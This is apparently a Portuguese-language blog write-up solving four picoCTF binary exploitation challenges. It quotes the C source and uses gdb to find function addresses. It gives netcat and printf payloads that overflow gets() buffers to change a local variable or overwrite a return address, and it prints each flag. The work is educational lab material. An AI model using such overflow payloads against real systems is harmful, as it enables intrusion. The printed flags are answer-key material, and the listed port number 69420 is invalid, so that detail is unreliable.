PicoCTF: Low Level Binary Intro - Binary Exploitation#
Agora vamos voltar aos binários, C e assembly. Após o intervalo, vamos verificar ponteiros e endereços para recuperar nossas informações.
Picker IV#
Você consegue descobrir como esse programa funciona para obter a flag?
Desta vez, não nos foi fornecido apenas o código-fonte do programa, mas também os binários. Com esses binários, podemos verificar os detalhes na linguagem assembly usando o gdb, um depurador bastante popular. Mas primeiro, vamos analisar o código-fonte, ele está escrito em C, mas a estrutura é bem familiar.
A função “main()” é:
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}Isso nos indica que não há nenhuma conexão com a função “win()” (a função que nos mostra a flag). Mas ela pode fazer um salto para um endereço de memória específico, que poderia ser a nossa função “win()”.
Para tentar isso, primeiro encontramos o endereço da função “win()” usando o gdb no arquivo executável Picker-IV. Depois disso, faremos disasseble da função win:
(gdb) disassemble winEla retorna com:
Dump of assembler code for function win:
0x000000000040129e <+0>: endbr64
0x00000000004012a2 <+4>: push %rbp
0x00000000004012a3 <+5>: mov %rsp,%rbpPortanto, o primeiro endereço é 000000000040129e, que pode ser abreviado para 40129e.
Agora, executando o programa Picker-IV e inserindo o endereço que acabamos de encontrar, o programa saltará para esse endereço e a flag será revelada.
Answer: Flag Picker IV
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}buffer overflow 0#
Este desafio nos fará causar um estouro de buffer (buffer overflow), não um estouro de buffer para injetar código ou dados, não, apenas um estouro de buffer. Assim como antes, o desafio nos fornece um código-fonte e um executável para serem analisados.
O código, escrito em C, solicita um input e encerra o programa. Simples assim.
A forma como armazena a saída é utilizando a função gets. Esta é uma função insegura, normalmente usam buffer overflow para programas que usam essa função. Aqui está a função principal:
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}E a função que nos retorna a flag se chama sigsegv_handler, que obtemos apenas se ocorrer um erro (SIGSEGV):
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}O buffer overflow é literalmente uma sobrecarga de caracteres, então vamos tentar escrever uma sequência de zeros na entrada do programa para ver o que acontece. Estou escrevendo 32 zeros:
nc saturn.picoctf.net 69420
Input: 0000000000000000000000000000000000000000000000000000000000000000Com isso, um erro SIGSEGV é lançado e a flag é revelada.
Answer: buffer overflow 0
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}Local Target#
Smash the stack É possível causar um estouro de buffer e modificar a outra variável local?
Para explicar como resolver este problema, primeiro precisamos explicar algo sobre buffer overflow. Já sabemos que, se a entrada for muito longa, ela ultrapassa os limites esperados pelo programa. Mas a questão é: para onde vai essa “entrada longa inesperada”?
A memória possui um espaço específico reservado para dados, se o programa não lidar com isso corretamente, os novos dados substituirão partes da memória com a nossa entrada.
Neste programa, precisamos atribuir o valor 65 a uma variável numérica chamada num, e com esse valor ele nos retorna a flag.
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");O problema é que a variável num nunca é alterada de forma alguma no código. Temos apenas uma entrada e a saída é sempre num = 64. Vamos tentar causar um estouro de buffer, já que este programa ainda usa a função não segura gets.
Se digitarmos o número 1 por 16 vezes:
echo 1111111111111111 | nc saturn.picoctf.net 69420Sem alterações, o resultado continua sendo 64. Vamos tentar digitar o número 1 por 32 vezes:
echo 11111111111111111111111111111111 | nc saturn.picoctf.net 69420Isso mostrará um número muito distante de 64, achamos uma mudança, mas precisamos encontrar um meio-termo para o nosso número. Depois de algumas tentativas, cheguei à seguinte sequência:
echo 000000000000000000000000A | nc saturn.picoctf.net 69420Os zeros servem apenas para preencher o espaço na memória, mas o verdadeiro fator de mudança é o caractere A, que representa 65 em decimal. Agora, estamos alterando o valor da variável num diretamente através da memória. E com isso, a flag é revelada.
Answer: Local Target
picoCTF{l0c4l5_1n_5c0p3_fee8ef05}buffer overflow 1#
Controle o endereço de retorno Agora sim! Você pode causar um estouro de buffer e retornar à função que tem a flag no programa.
Você já sabe como funciona, então vamos analisar o código.
Assim como no desafio anterior, em que uma variável precisa ter um valor específico, mas nunca é chamada, desta vez temos a função “win()”, que também nunca é chamada. Portanto, precisamos chamá-la direto da memória, usando nosso conhecimento sobre buffer overflow.
Mas, em vez de tentar adivinhar o valor hexadecimal da entrada que estamos adicionando, vamos encontrar onde ele aparece na saída e usar o comando printf para fazer uma injeção melhor.
Assim, fazendo algumas estimativas, temos os seguintes tamanhos de entrada que atingem nossa saída:
00000000000000000000000000000000000000000000011111111A sequência de Um’s é o local onde a saída está sendo substituída, então precisamos encontrar a posição da função “win()” na memória e colocá-la lá. Para encontrá-la, faremos o mesmo que fizemos no Picker-IV, usando gdb e disassemble win para obter o endereço da função.
Estaremos usando printf para inserir o valor hexadecimal diretamente pelo input, assim:
printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6' | nc saturn.picoctf.net 69420Também adicionaremos um 0x0A, para que o programa calcule o pressionamento da tecla Return/Enter, validando a entrada:
printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6\x0a' | nc saturn.picoctf.net 69420Mas espere, não funcionou. Isso porque o programa lê os endereços em formato Little Endian, o que faz com que cada byte fique invertido. Então, enviaremos o endereço invertido byte a byte, e o programa o reordenará da maneira que desejamos, que ficará assim:
printf '000000000000000000000000000000000000000000000\xf6\x91\x04\x08\x0a' | nc saturn.picoctf.net 69420Com isso, a flag nos é apresentada, finalizando esta playlist.
Answer: buffer overflow 1
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}